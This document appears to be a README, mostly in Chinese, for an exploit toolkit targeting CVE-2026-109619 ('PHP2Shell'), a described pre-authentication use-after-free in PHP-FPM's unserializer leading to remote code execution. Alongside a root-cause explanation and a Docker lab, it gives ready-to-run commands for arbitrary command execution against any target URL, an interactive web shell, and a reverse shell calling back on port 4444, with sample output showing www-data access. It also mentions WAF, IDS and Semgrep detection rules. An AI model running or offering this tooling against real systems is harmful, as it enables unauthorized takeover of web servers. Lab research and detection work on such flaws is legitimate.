CVE-2026-109619(PHP2Shell):通过 PHP-FPM 陈旧全局状态反序列化 UAF 实现预认证远程代码执行(RCE)。可复现的 Docker 实验环境、交互式 shell、反向 shell 以及 WAF/IDS 规则。
一个面向 CVE-2026-109619(又称 PHP2Shell)的综合研究实验室与漏洞利用复现工具包。该漏洞是 PHP 反序列化子系统中的一个严重漏洞,影响持久化 worker 架构(如 PHP-FPM),可在 Web 进程权限下实现预认证的跨请求释放后使用(use-after-free)以及任意远程代码执行。
ext/standard/var_unserializer.re)8.2.0–8.2.34、8.3.0–8.3.35、8.4.0–8.4.26、8.5.0–8.5.11反序列化中未检查的异常退出:
在反序列化过程中,php_var_unserialize_init() 会在 BG(unserialize).data 中初始化引用跟踪结构和析构链,并递增 BG(unserialize).level = 1。如果发生脚本内致命错误或内存耗尽(例如在 __wakeup() 或类构造函数内部),PHP 会执行 zend_bailout()。常规的请求清理例程(php_var_unserialize_destroy())被跳过,从而在 worker 的内存空间中留下脏的全局指针和未清零的引用计数器。
持久化 worker 存活(PHP-FPM):
在 PHP-FPM(pm = static 或 dynamic)这类持久化多请求架构中,子 worker 进程在脚本内致命错误后仍能跨 HTTP 请求存活而不终止。当后续 HTTP 请求到达同一 worker 进程时,它会从前一个中止的请求继承脏的 BG(unserialize) 解析器状态。
跨请求引用投毒与内存破坏:
当存活的 worker 再次进入 unserialize() 时,它会检测到 BG(unserialize).level > 0,并将新的载荷误认为是一个已激活的反序列化会话中的嵌套调用。
R:1),反序列化器会将指针解析到先前已释放的内存中。first_dtor 结构,攻击者构造出一个伪造的 HashTable,其 pDestructor 直接指向 zif_system。www-data 权限被执行。├── lab/
│ ├── nginx-fpm/ # Vulnerable Nginx 1.27 + PHP-FPM 8.4.26 environment
│ │ ├── nginx.conf # FastCGI reverse proxy configuration
│ │ ├── php.ini # PHP runtime configuration (memory_limit = 8M)
│ │ ├── fpm-pool.conf # PHP-FPM static pool configuration (1 worker)
│ │ ├── lab.sh # Container management script (up, down, status, logs)
│ │ ├── test_behavior.py # Diagnostic script verifying worker survival
│ │ └── webroot/ # Target web application endpoints
│ │ ├── cve_109619_poc.php # Two-stage exploitation endpoint
│ │ ├── cve_109619_demo.php # Diagnostic demonstration
│ │ └── index.php # Worker status and PID baseline
│ ├── docker-compose.yml # Multi-container lab orchestration
│ ├── run_lab.sh # Lab startup script
│ └── stop_lab.sh # Lab teardown script
├── poc/
│ ├── poc.py # Full-featured network PoC (arbitrary RCE, interactive shell, reverse shell)
│ ├── universal.py # Universal pre-RINIT exploit engine targeting session.upload_progress
│ ├── discover.py # Dynamic endpoint crawler and parameter discovery engine
│ ├── scan.py # Non-destructive passive vulnerability assessment scanner
│ ├── poc_raw.py # Low-level Zend MM memory corruption exploit (zif_system)
│ ├── revshell.py # Standalone reverse TCP shell handler
│ ├── profiles.json # Affected version catalog and fix matrix
│ └── ui.py # Terminal output and status helpers
├── rules/
│ ├── suricata.rules # Suricata / Snort network IDS detection signatures
│ ├── modsecurity.conf # ModSecurity / OWASP CRS perimeter WAF rules
│ └── semgrep.yml # Semgrep SAST rule for unsafe unserialize calls
├── assets/
│ ├── showcase.gif # Terminal demonstration GIF
│ └── showcase.webm # High-definition screencast
├── docs/
│ ├── analysis.md # In-depth technical root cause analysis
│ └── licensing.md # License details
├── test_all.sh # Automated verification suite for all lab services
├── php2shell.py # Root CLI entrypoint
├── Makefile # Automation recipes
└── README.md # Research report and documentation
运行本地实验环境需要 Docker。
# Start lab containers (Nginx 1.27 + PHP-FPM 8.4.26)
./lab/run_lab.sh
# or: make lab-up
运行后,将暴露以下端点:
http://127.0.0.1:8180/index.php(SAPI 与 PID 验证)http://127.0.0.1:8180/cve_109619_poc.phphttp://127.0.0.1:8180/cve_109619_demo.php要关闭实验环境:
./lab/stop_lab.sh
# or: make lab-down
要使用干净的日志和全新的 worker 内存重置实验环境:
make lab-restart
scan.py)对 PHP 版本、FastCGI SAPI、脚本内内存耗尽期间工作进程的存活情况以及跨请求状态复用进行指纹识别,且不执行任意命令。
python3 poc/scan.py -u http://127.0.0.1:8180/
# or: ./php2shell.py -u http://127.0.0.1:8180/ --check
示例输出:
target: http://127.0.0.1:8180
version: php 8.4.26 (vulnerable, php 8.4.26 < 8.4.27)
worker: pid 7
survival: ok (pid 7)
stale state: clean
verdict: vulnerable to cve-2026-109619
poc.py / php2shell.py)利用跨请求的陈旧反序列化器状态。阶段 1 在 __wakeup() 内部触发内存耗尽,使 BG(unserialize) 处于脏状态(level > 0),而持久化的 PHP-FPM worker 仍然存活。阶段 2 提供跨请求引用 R:1,以解析 Zend MM 中的陈旧指针。
[!NOTE] 该漏洞利用完全在 PHP 解释器和 Zend 引擎层面运行,无需应用层 gadget。若需针对原生引擎函数指针(
zif_system)的低层内存破坏,请参见poc/poc_raw.py以及poc/universal.py中的 pre-RINIT 漏洞利用引擎。
该 PoC 接受任意目标(-u)和命令(-c):
任意命令执行:
python3 poc/poc.py -u http://127.0.0.1:8180/ -c "id; uname -a"
# or: ./php2shell.py -u http://127.0.0.1:8180/ -c "id; uname -a"
示例输出:
target: http://127.0.0.1:8180
endpoint: http://127.0.0.1:8180/cve_109619_poc.php
parameter: data (POST)
command: id; uname -a
worker: pid 7
poison: ok
output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux be467f30ca4c 6.12.113+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.113-1 (2026-10-15) x86_64 GNU/Linux
交互式 Shell 会话(-i):
启动一个交互式 shell 提示符,支持 readline(方向键、命令历史、行编辑):
python3 poc/poc.py -u http://127.0.0.1:8180/ -i
# or: make shell
交互式提示:
[*] Poisoning BG(unserialize) parser state (step 1)...
[+] Worker poisoned! Surviving worker PID: 7
============================================================
[+] Interactive shell active! Type commands or 'exit' to quit.
============================================================
php2shell> whoami
www-data
php2shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php2shell> pwd
/var/www/html
php2shell> exit
Exiting interactive shell.
--revshell)在端口 4444 上启动本地监听器,针对 PHP-FPM worker 触发漏洞利用,并从 Docker 容器内部向主机发起反向连接:
python3 poc/poc.py -u http://127.0.0.1:8180/ --revshell
# or: make revshell
反向 Shell 会话:
target: http://127.0.0.1:8180
endpoint: http://127.0.0.1:8180/cve_109619_poc.php
bind: 0.0.0.0:4444
reverse connect: 172.18.0.1:4444
trigger: payload sent, waiting for connection...
shell: connected from 172.18.0.2:43304
shell: interactive session open (type commands, ctrl+d to exit)
www-data@8a6817fd2270:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@8a6817fd2270:~/html$ exit
test_all.sh)执行自动化端到端回归测试套件,验证容器健康状态、被动扫描器准确性、RCE 载荷执行、反向 shell 回调以及单元测试:
./test_all.sh